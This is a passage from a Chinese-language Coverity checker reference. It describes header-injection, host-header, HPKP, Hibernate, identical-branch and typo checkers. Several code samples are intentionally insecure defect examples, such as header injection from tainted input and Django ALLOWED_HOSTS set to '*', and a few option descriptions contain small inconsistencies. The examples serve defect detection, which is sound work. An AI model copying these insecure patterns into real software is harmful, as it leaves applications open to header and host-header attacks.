 }
 req.send(null);
 req.onreadystatechange = function () {
 if (req.readyState == 4 && req.status == 200) {
 elem.childNodes[0].textContent = req.responseText;
 }
 }
}
```

#### 4.167.3.6. Kotlin

以下注入可让攻击者通过更改文本文件的内容来控制发送到服务器的请求的 HTTP 头文件。该攻击的影响取决于服务器处理意外头文件键和值的能力。要报告以下缺陷，请使用以下选项运行 cov-analyze：--checker-option HEADER\_INJECTION:trust\_filesystem:false

```
class Test : Activity() {
 fun loadFunPage(context: Context, webView: WebView, additionalHeaders: MutableMap<String, String>) {
 val file = File(context.getExternalFilesDir(null), "saved-extra-headers.txt")
 val content = file.readText()

 for (pair in content.split(",")) {
 val (key, value) = pair.split("=")
 additionalHeaders[key] = value
 }

 webView.loadUrl("www.fun.com", additionalHeaders)
 }
}
```

#### 4.167.3.7. PHP

下面的 PHP 代码使用来自请求 URL 的被污染数据来构造 HTTP 头文件（在这种情况下，为了重定向用户）：

```
$redirect = $_GET['redirect'];
header("Location: $redirect"); // HEADER_INJECTION defect
```

#### 4.167.3.8. Python

下面的 Python 代码使用来自请求 URL 的被污染数据来构造 HTTP 头文件（在这种情况下，为了重定向用户）：

```
import requests
import httplib

def Test():
 taint = requests.get('example.com').text
 http = httplib.HTTP(host='host', port='port', strict='strict')
 http.putheader(taint)
```

#### 4.167.3.9. Swift

以下 Swift 代码使用来自密钥值存储库中的污染数据创建 HTTP 头文件：

```
import Foundation

func setupHeader(req: URLRequest, store: NSUbiquitousKeyValueStore) -> URLRequest {
 let header: String = store.string(forKey: "header")!
 let value: String = store.string(forKey: "value")!

 req.addValue(value, forHTTPHeaderField: header)
 return req
}
```

#### 4.167.3.10. Visual Basic

以下 Visual Basic 代码使用来自请求 URL 中的污染数据创建 HTTP 头文件：

```
Dim request As System.Web.HttpRequest
Dim response As System.Web.HttpResponse
' ...
Dim taint As String = request("taint")
response.AddHeader(taint, "header")
```

### 4.167.4. 选项

本部分描述了一个或多个 HEADER\_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- HEADER\_INJECTION:distrust\_all:<boolean> - [仅限 C、C++、C#、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]

将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 HEADER\_INJECTION:distrust\_all:false。

如果将 cov-analyze 命令的 HEADER\_INJECTION:webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- HEADER\_INJECTION:trust\_command\_line:<boolean> - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 HEADER\_INJECTION:trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- HEADER\_INJECTION:trust\_console:<boolean> - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- HEADER\_INJECTION:trust\_cookie:<boolean> - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- HEADER\_INJECTION:trust\_database:<boolean> - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- HEADER\_INJECTION:trust\_environment:<boolean> - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- HEADER\_INJECTION:trust\_filesystem:<boolean> - [仅限 C、C++、Go、JavaScript、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- HEADER\_INJECTION:trust\_http:<boolean> - [仅限 C、C++、Go、JavaScript、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- HEADER\_INJECTION:trust\_http\_header:<boolean> - [仅限 C、C++、Go、JavaScript、Objective C、Objective C++、PHP、Python、Swift、TypeScript]

将此选项设置为 `false` 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 `HEADER_INJECTION:trust_http_header:true`。设置此检查器选项会覆盖全局 `--trust-http-header` 和 `--distrust-http-header` 命令行选项。

- `HEADER_INJECTION:trust_js_client_cookie:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中的 Cookie 的数据，例如来自 `document.cookie`。此选项之前称为 `trust_client_cookie`。默认值为 `HEADER_INJECTION:trust_js_client_cookie:true`。
- `HEADER_INJECTION:trust_js_client_external:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 `trust_external`。默认值为 `HEADER_INJECTION:trust_js_client_external:false`。
- `HEADER_INJECTION:trust_js_client_html_element:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 `textarea` 和 `input` 元素。默认值为 `HEADER_INJECTION:trust_js_client_external:true`。
- `HEADER_INJECTION:trust_js_client_http_header:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 `HEADER_INJECTION:trust_js_client_http_header:true`。
- `HEADER_INJECTION:trust_js_client_http_referer:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中 `referer` HTTP 头文件（来自 `document.referrer`）的数据。默认值为 `HEADER_INJECTION:trust_js_client_http_referer:false`。
- `HEADER_INJECTION:trust_js_client_other_origin:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 `window.name`。默认值为 `HEADER_INJECTION:trust_js_client_other_origin:false`。
- `HEADER_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 `location.hash` 或 `location.query`。默认值为 `HEADER_INJECTION:trust_js_client_url_query_or_fragment:false`。
- `HEADER_INJECTION:trust_network:<boolean>` - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `HEADER_INJECTION:trust_network:false`。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network` 命令行选项。
- `HEADER_INJECTION:trust_rpc:<boolean>` - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript]  
将此选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `HEADER_INJECTION:trust_rpc:false`。设置此检查器选项会覆盖全局 `--trust-rpc` 和 `--distrust-rpc` 命令行选项。

- HEADER\_INJECTION:trust\_system\_properties:<boolean> - [仅限 C、C++、Go、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。
- HEADER\_INJECTION:trust\_mobile\_other\_app:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 HEADER\_INJECTION:trust\_mobile\_other\_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- HEADER\_INJECTION:trust\_mobile\_other\_privileged\_app:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 HEADER\_INJECTION:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- HEADER\_INJECTION:trust\_mobile\_same\_app:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 HEADER\_INJECTION:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- HEADER\_INJECTION:trust\_mobile\_user\_input:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 HEADER\_INJECTION:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

#### 4.167.5. 模型和注解

使用 cov-make-library，您可以使用以下 Coverity Analysis 原语为 HEADER\_INJECTION 创建自定义模型。

##### 4.167.5.1. C、C++

以下模型表明 addHeader() 对于参数 key 和 val 是污染数据消费者（类型为 HTTP\_HEADER）：

```
void addHeader(struct response_s *response, char const *key, char const *val) {
 __coverity_taint_sink__(key, HTTP_HEADER);
 __coverity_taint_sink__(val, HTTP_HEADER);
}
```

您可以使用 \_\_coverity\_mark\_pointee\_as\_tainted\_\_ 建模原语为污染源建模。例如，以下模型表明，packet\_get\_string() 从网络返回了被污染的字符串：

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
 return ret;
}
```

下面的模型表明，当 `s` 参数无效时（因此不应再将其视为被污染），`custom_sanitize()` 会返回 `true`。如果 `s` 参数无效，`custom_sanitize()` 会返回 `false`，并且分析会继续将 `s` 记录为被污染：

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, HTTP_HEADER);
 return true;
 }
 return false;
}
```

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source`（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 返回了被污染的字符串值：

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source`（含有参数）：指明函数污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容：

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



### Note

`taint_source` 函数注解与以下这些检查器一起运行：

FORMAT\_STRING\_INJECTION、HEADER\_INJECTION、OS\_CMD\_INJECTION、PATH\_MANIPULATION、SCALAR\_INJECTION 和 XPATH\_INJECTION。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[-taint_sanitize : arg-*0]
```

```
void custom_sanitize(char* s) { ... }
```

- `-taint_source` (没有参数) : 指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[-taint_source]
char* packet_get_string() { ... }
```

- `-taint_source` (含有参数) : 指明函数不污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容：

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) { ... }
```

#### 4.167.5.2. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_headers_function(data interface{}) {
 HeaderSink(data);
}
```

如果 `injecting_into_headers_function()` 的参数来自不可信来源，`HeaderSink()` 原语将指示 `HEADER_INJECTION` 报告缺陷。

#### 4.167.5.3. Java

在 Java 中，原语在类 `com.coverity.primitives.SecurityPrimitives` 中定义，并使用 `Object` 作为参数，例如：

```
public class MyClass {

 void injecting_into_headers_function(java.lang.String data) {
 com.coverity.primitives.SecurityPrimitives.http_header_sink(data);
 }
}
```

如果参数来自不受信任的来源，则 `HEADER_INJECTION` 检查器将报告缺陷。

### 4.168. HFA

质量检查器

#### 4.168.1. 概述

此 C 检查器 ( HFA , 头文件分析检查器 ) 可查找很多包括不必要的头文件的情况。此检查器仅适用于 C ( 不是 C++ ) 代码。当源文件中不需要头文件原型函数和数据结构时 , 就可能会发生包括不必要的头文件的情况。

包括不必要的头文件不会导致分析遇到问题 , 但可能会降低构建效率 , 因为这需要编译器执行额外的工作。使用此检查器识别这些不必要的头文件 , 然后手动消除包含的项以加快日后的构建。

默认禁用 : HFA 默认关闭。要启用此检查器 , 请使用 cov-analyze 命令的 -en hfa 选项。请注意 , cov-analyze --all 不会启用此检查器。

#### 4.168.2. 示例

本部分提供了一个或多个 HFA 示例。

如果 eight.h 包含

```
#define EIGHT 8
```

并且 test.c 包含

```
#include "seven.h"
#include "eight.h"

int seven = SEVEN;
```

则包括 eight.h 是不必要的 , 因为 EIGHT 未被用于 test.c 。

#### 4.168.3. 事件

本部分描述了 HFA 检查器生成的一个或多个事件。

- unnecessary header : 此文件中包括不必要的头文件。

### 4.169. HIBERNATE\_BAD\_HASHCODE

质量检查器

#### 4.169.1. 概述

支持的语言 : . Java

HIBERNATE\_BAD\_HASHCODE 可查找 Hibernate 实体 ( 或其他 Java Persistence API (JPA) 实体 ) 的 hashCode() 或 equals() 方法依赖数据库主键 ( 通常通过 @Id 注解 ) 的很多情况。由于该键只能在将对象持久化后指定 , 因此在持久化之前将此类实体与 Java 集合一起使用是不全的。不正确的 hashCode() 实现可能导致实体从集中“消失” ( 即 set.contains(obj) 意外返回 false ) 。

默认启用 : HIBERNATE\_BAD\_HASHCODE 默认启用。有关启用/禁用详情和选项 , 请参阅Section 1.2, “启用和禁用检查器”。

#### 4.169.2. 示例

本部分提供了一个或多个 HIBERNATE\_BAD\_HASHCODE 示例。

定义 hashCode() 和 equals() 的推荐方法是只依赖业务键。

```
@Entity
class Parent {
 ...
 @OneToMany(mappedBy = "parent", cascade=CascadeType.ALL)
 private Set<Child> children = new HashSet<Child>();
 public Set<Child> getChildren() { return children; }
 public void setChildren(Set<Child> c) { children = c; }
 ...
}

@Entity
class Child {
 @Id @GeneratedValue
 @Column(name = "child_id")
 private Long id;
 public Long getId() { return id; }
 private void setId(Long id) { this.id = id; }

 public int hashCode() {
 // this depends on 'id' but shouldn't.
 return getId()!=null ? getId().hashCode() : 0;
 }
 ...
}

...
Parent p = new Parent();
Child c = new Child();
c.setParent(p);
p.getChildren().add(c); // adding a transient entity to a set
session.save(p);

// assertion fails!
assert p.getChildren().contains(c);
...
```

#### 4.169.3. 选项

本部分描述了一个或多个 HIBERNATE\_BAD\_HASHCODE 选项。

您可以设置特定检查器选项值 , 方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息 , 请参阅《Coverity 命令说明书》。

- HIBERNATE\_BAD\_HASHCODE:strict:<boolean> - 当此 Java 选项被设置为 true 时，该检查器将报告 hashCode() 或 equals() 依赖数据库键的情况，即使未发现对 Java 集合的访问有问题。默认值为 HIBERNATE\_BAD\_HASHCODE:strict:false

此外，cov-analyze 命令的 --hibernate-config 选项可用于指定包含 Hibernate 映射 XML 文件的目录（如果适用）。

#### 4.169.4. 事件

本部分描述了 HIBERNATE\_BAD\_HASHCODE 检查器生成的一个或多个事件。

- id\_member - 表明代表数据库主键（通过在源代码中使用 @javax.persistence.Id 进行注解，或通过在 Hibernate 映射 XML 文件中使用 <id> 标记进行标记）的成员变量。
- bad\_hashcode - 表明使用数据库主键的 hashCode() 的实现。
- bad\_equals - 表明使用数据库主键的 equals() 的实现。
- new\_transient - 表明创建了新实体。
- collection\_access - 表明使用了实体（带有未分配的数据库主键）访问 Java 集合。

### 4.170. HOST\_HEADER\_VALIDATION\_DISABLED

安全检查器

#### 4.170.1. 概述

支持的语言：. Python

HOST\_HEADER\_VALIDATION\_DISABLED 检查器查找主机头文件验证列表被设置为允许所有主机的访问的情况。没有为 Django 应用程序正确配置主机验证可能会导致主机头文件攻击，用于完成跨站点请求伪造、缓存中毒和电子邮件中中毒链接。

HOST\_HEADER\_VALIDATION\_DISABLED 默认禁用。它仅在审计模式下启用。

#### 4.170.2. 示例

本部分提供了一个或多个 HOST\_HEADER\_VALIDATION\_DISABLED 示例。

在下面的示例中，针对在 Python 设置文件中将 ALLOWED\_HOSTS 设置为 \*，显示了 HOST\_HEADER\_VALIDATION\_DISABLED 缺陷。

```
ALLOWED_HOSTS = ['*'] # defect here
```

### 4.171. HPKP\_MISCONFIGURATION

#### 4.171.1. 概述

支持的语言：. JavaScript、TypeScript

HPKP\_MISCONFIGURATION 检查器使用模块 `helmet` 和 `hpkp` 查找以下 HTTP 公钥固定 (HPKP) 不安全配置的情况。

- 将 `maxAge` 属性设置为大于两个月的值。
- 配置报告 URI 以通过不安全的通道发送报告。
- 将 `setIf` 函数设置为始终返回 `false`。

HPKP\_MISCONFIGURATION 检查器默认禁用。要启用此检查器，请使用 `cov-analyze` 命令的 `--webapp-security` 选项。

#### 4.171.2. 示例

本部分提供了一个或多个 HPKP\_MISCONFIGURATION 示例。

在下面的示例中，针对属性 `maxAge` 被设置为大于两个月的值显示 HPKP\_MISCONFIGURATION 缺陷。

```
var express = require('express');
var helmet = require('helmet');
var app = express();

app.use(helmet.hpkp({
 maxAge: 1525600000, //
#defect#HPKP_MISCONFIGURATION##hpkp_misconfiguration_of_max_age
 sha256s:
 ['cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=' , 'M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhPgpWE=']
}));
```

### 4.172. IDENTICAL\_BRANCHES

质量检查器

#### 4.172.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Swift、Scala、TypeScript 和 Visual Basic

IDENTICAL\_BRANCHES 检测无论条件为何始终执行相同代码的条件语句和表达式。此类重复代码表明条件是不必要的（或者可以将多个条件合并到一起）或者代码不应该相同（因此可能是复制粘贴错误）。该检查器将 Ruby `case-when` 语句视为一系列 `if-elsif` 子句。

IDENTICAL\_BRANCHES 检测到的代码包括以下项：

- then 和 else 分支使用相同代码的简单 if-then-else 语句。
- 在链的连续分支中使用相同代码的所有 else-if 链。
- 三元表达式，例如 cond?expr1:expr2 ( 其中 expr1 与 expr2 相同 )。
- 不同 case 语句中使用相同代码的所有 switch 语句。

默认启用简单的 if-then-else 语句和三元表达式。switch 语句和 else-if 链都是可选项。

默认启用 : IDENTICAL\_BRANCHES 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

#### 4.172.2. 示例

本部分提供了一个或多个 IDENTICAL\_BRANCHES 示例。

##### 4.172.2.1. C/C++、C#、Java、JavaScript、Swift 和 TypeScript

下面的示例是一个包含相同分支的简单 if-else 语句。

```
if (x==2) {
 y=32;
 z=y*2;
} else {
 y=32;
 z=y*2;
}
```

在下面的示例中，以 return 结尾的 if-then 语句分支中的代码与紧接在它后面的代码相同。if 语句之后的代码可能会被视为隐式 else。

```
if (hasName(a)) {
 name = getName(a);
 return name;
}
name = getName(a);
return name;
```

##### 4.172.2.2. Visual Basic

下面的示例包含一个简单的 If-Else 语句和三元 If 表达式，其中两个分支都是相同的。

```
Class IdenticalBranches
 ' Defect: Both the "Then" and "Else" branches are identical.
 Function Example1(a As Integer, b As Integer, op As Char) As Integer
 If op = "+"c Then
 Return a + b
```

```
 Else
 Return a + b
 End If
End Function

' Defect: Again, both the "Then" and "Else" branches are identical.
Function Example2(a As Integer, b As Integer, op As Char) As Integer
 Return If(op = "+"c, a + b, a + b)
End Function
End Class
```

#### 4.172.2.3. Go

在下面的示例中，if 语句导致了 IDENTICAL\_BRANCHES 缺陷。

```
func judge(a int) bool {
 if a > 1 { // IDENTICAL_BRANCHES defect
 return true
 }
 return true
}
```

#### 4.172.2.4. PHP

```
<?php
function compute($a, $b, $op) {
 if ($op == '+') { // IDENTICAL_BRANCHES defect
 $result = $a + $b;
 } else {
 $result = $a + $b;
 }
 return $result;
}
?>
```

#### 4.172.2.5. Python

```
def compute(a, b, op):
 if (op == '+'): # IDENTICAL_BRANCHES defect
 result = a + b
 else:
 result = a + b
 return result
```

#### 4.172.2.6. Ruby

```
def compute(a, b, op)
 if op == '+' # IDENTICAL_BRANCHES defect
 a + b
 else
 a + b
```

```
 end
end
```

#### 4.172.2.7. Scala

```
def compute(a : Int, b : Int, op : Char) {
 if (op == '+') { // IDENTICAL_BRANCHES defect
 a + b
 } else {
 a + b
 }
}
```

#### 4.172.3. 选项

本部分描述了一个或多个 `IDENTICAL_BRANCHES` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `IDENTICAL_BRANCHES:report_different_case_lines:<boolean>` - 当此选项为 `true` 时，该检查器将在一个 `case` 包含注释、另一个 `case` 不包含注释，或者相应语句使用不同行数时，报告 `switch case` 语句。如果该选项为 `false`，该检查器将不会报告此类问题。默认值为 `IDENTICAL_BRANCHES:report_different_case_lines:false`（仅适用于 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Swift、Scala 和 TypeScript）。

此选项仅在将 `report_switch_cases` 设置为 `true` 时起作用。

- `IDENTICAL_BRANCHES:report_different_ifelse_lines:<boolean>` - 当此选项为 `true` 时，该检查器将在一个分支包含注释、另一个分支不包含注释，或者笼统地说两个分支使用不同行数时，报告 `if-else` 分支。如果该选项为 `false`，该检查器将不会报告此类问题。默认值为 `IDENTICAL_BRANCHES:report_different_ifelse_lines:false`（适用于所有语言）。
- `IDENTICAL_BRANCHES:report_elseif_chains:<boolean>` - 当此选项为 `true` 时，该检查器将会报告包含相同分支的 `else-if` 链。默认值为 `IDENTICAL_BRANCHES:report_elseif_chains:false`（适用于所有语言）。

下面是关于包含相同分支的 `else-if` 链的示例（仅适用于 C/C++、C#、Go、Java、JavaScript、Ruby、Swift、Scala 和 TypeScript）：

```
if (param==42)
 x = 5;
else if (param==43)
 x = 5;
else x = 3;
```

- `IDENTICAL_BRANCHES:report_switch_cases:<boolean>` - 当此选项为 `true` 时，该检查器将报告 `switch-case` 结构中相同的 `case` 语句。默认值为 `IDENTICAL_BRANCHES:report_switch_cases:false`（仅适用于 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Swift、Scala 和 TypeScript）。

当此选项为 true (例如 `switch_case_min_stmts` 被设置为 1 时) 时产生缺陷的 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Swift、Scala、TypeScript 和 Visual Basic 示例：

```
switch (x) {
case 1:
 y=5; break;
case 2:
 y=2; break;
case 3:
 y=5; break;
default:
 y=2;
}
```

此选项依赖 `switch_case_min_stmts` 的设置。

- `IDENTICAL_BRANCHES:switch_case_min_stmts:<integer>` - 此选项用于指定要报告的来自 `switch case` 语句中的最少语句数。默认值为 `IDENTICAL_BRANCHES:switch_case_min_stmts:3` (仅适用于 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Swift、Scala 和 TypeScript)。

此选项仅在将 `report_switch_cases` 设置为 true 时起作用。

#### 4.172.4. 事件

本部分描述了 `IDENTICAL_BRANCHES` 检查器生成的一个或多个事件。

- `else_branch` - 标识简单 `if-else` 语句中的 `else` 分支 (当 `if` 和 `else` 相隔超过 5 行并且与缺陷相关联时)。
- `else_if` - 标识 `else-if` 语句 (当该语句与连续 `else-if` 语句相隔超过 3 行，并且与缺陷相关联时)。
- `identical_branches` - 标识包含相同分支的 `if` 语句 (简单语句和 `else-if` 链) 以及三元表达式。
- `identical_cases` - 标识与同一 `switch` 语句中的上一个 `case` 相同的 `case`。
- `original_case` - 标识与报告的 `case` 相同的上一个 `case`。无论事件大小如何，始终都报告此事件。

### 4.173. IDENTIFIER\_TYPO

质量检查器

#### 4.173.1. 概述

支持的语言：. JavaScript、PHP、Python、Ruby 和 TypeScript

`IDENTIFIER_TYPO` 可查找出现疑似唯一且疑似与另一个更常见的标识符在拼写上类似的标识符的情况。JavaScript、PHP、Python、Ruby 和 TypeScript 等动态语言大量使用仅在应用程序运行时解析的已命名实体，这使得此类语言特别容易在标识符中发生拼字错误（拼写错误）。该缺陷通常会导致引用未设置或未定义的实体，这可能会产生各种影响，具体取决于编程语言和上下文。

对于此检查器，标识符可以是属性或成员的名称，也可以仅是符合程序中已命名实体的条件（例如无空格或运算符字符）的字符串。该检查器不会检查本地变量名称，包括某些函数名称。

该检查器使用多种技术来减少误报，涉及各个方面，例如标识符的长度（标识符可能被修改）以及标识符要素之间的关系。例如，`getUserAddress` 和 `get_user_address` 具有三个要素名称。被识别为只具有一个要素名称的标识符（例如 `getuseraddress`）更容易发生误报。

该检查器仅限于检查拉丁字符中的错误拼写。但是，为了符合国际化的要求，该检查器不使用字典。后果就是可能产生一些误报，例如当 `handleExit` 在程序中仅被引用一次但 `handleExist` 被使用了多次时。

默认启用：`IDENTIFIER_TYPO` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。



#### Note

针对本地分析的启用例外：

要通过 `cov-run-desktop` 为本地分析启用此检查器，您需要设置 `--whole-program` 命令行选项。该检查器默认对本地分析禁用。

### 4.173.2. 缺陷剖析

当出现疑似唯一的标识符时，将报告 `IDENTIFIER_TYPO` 缺陷。其他事件提供了有意使用的可能正常标识符的示例。

### 4.173.3. 示例

本部分提供了一个或多个 `IDENTIFIER_TYPO` 示例。

#### 4.173.3.1. JavaScript

```
function getWorkingHeightPixels(obj) {
 return obj.heightPixels -
 obj.topInset.heightPixels -
 obj.bottomInset.heightPixels; // Defect here.
}
```

#### 4.173.3.2. PHP

```
<?php
function getWorkingHeightPixels($obj) {
 return $obj->heightPixels -
```

```
$obj->topInset->heightPixels -
$obj->bottomInset->heigtPixels; // Defect here.
}
?>
```

#### 4.173.3.3. Python

```
def resetEventHandlers(obj):
 obj.mouseMoveAction.eventHandler = None
 obj.mouseClickAction.eventHandler = None
 obj.keyboardAction.eventHander = None # Defect here.
```

#### 4.173.3.4. Ruby

```
def resetEventHandlers(obj)
 obj.mouseMoveAction.eventHandler = nil
 obj.mouseClickAction.eventHandler = nil
 obj.keyboardAction.eventHander = nil # Defect here.
end
```

### 4.174. IMPLICIT\_INTENT

安全检查器

#### 4.174.1. 概述

支持的语言：. Java、Kotlin

`IMPLICIT_INTENT` 检查器针对使用隐式意图启动活动或者启动、绑定或停止服务的代码报告缺陷。如果使用没有特定接收器组件的 `Intent`（隐式意图），将允许恶意应用程序注册以接收此 `Intent` 并查看其中的所有信息。

意图是指用于从其他应用程序组件请求操作的消息传递对象。显式指定应该接收意图的组件的意图称为显式意图。应该接收意图的组件可以在构造意图时直接指定，也可以日后通过针对意图调用以下方法之一进行设置：`setComponent`、`setClass` 或 `setClassName`。未显式指定应该接收意图的组件的意图称为隐式意图。

`IMPLICIT_INTENT` 不会针对以下代码报告缺陷：在目标应用程序组件被限制为将来自同一应用程序的组件作为源组件时使用隐式意图。针对意图调用 `setPackage` 方法，以便将目标应用程序组件限制为使用来自同一应用程序的组件作为源组件。

- 默认禁用：`IMPLICIT_INTENT` 默认对 Java 禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Android 安全检查器启用：要与其他 Java Android 安全检查器一起启用 `IMPLICIT_INTENT`，请在 `cov-analyze` 命令中使用 `--android-security` 选项。

- 默认启用：`IMPLICIT_INTENT` 默认对 Kotlin 启用。

#### 4.174.2. 缺陷剖析

`IMPLICIT_INTENT` 缺陷说明了被用于启动活动或者启动、绑定或停止服务的隐式意图。其他事件提供了分析为什么将该意图视为隐式意图的证据：意图被构造为隐式意图的路径，以及意图在不限制应该接收该意图的组件的情况下在程序中的流动方式。

#### 4.174.3. 示例

本部分提供了一个或多个 `IMPLICIT_INTENT` 示例。

##### 4.174.3.1. Java

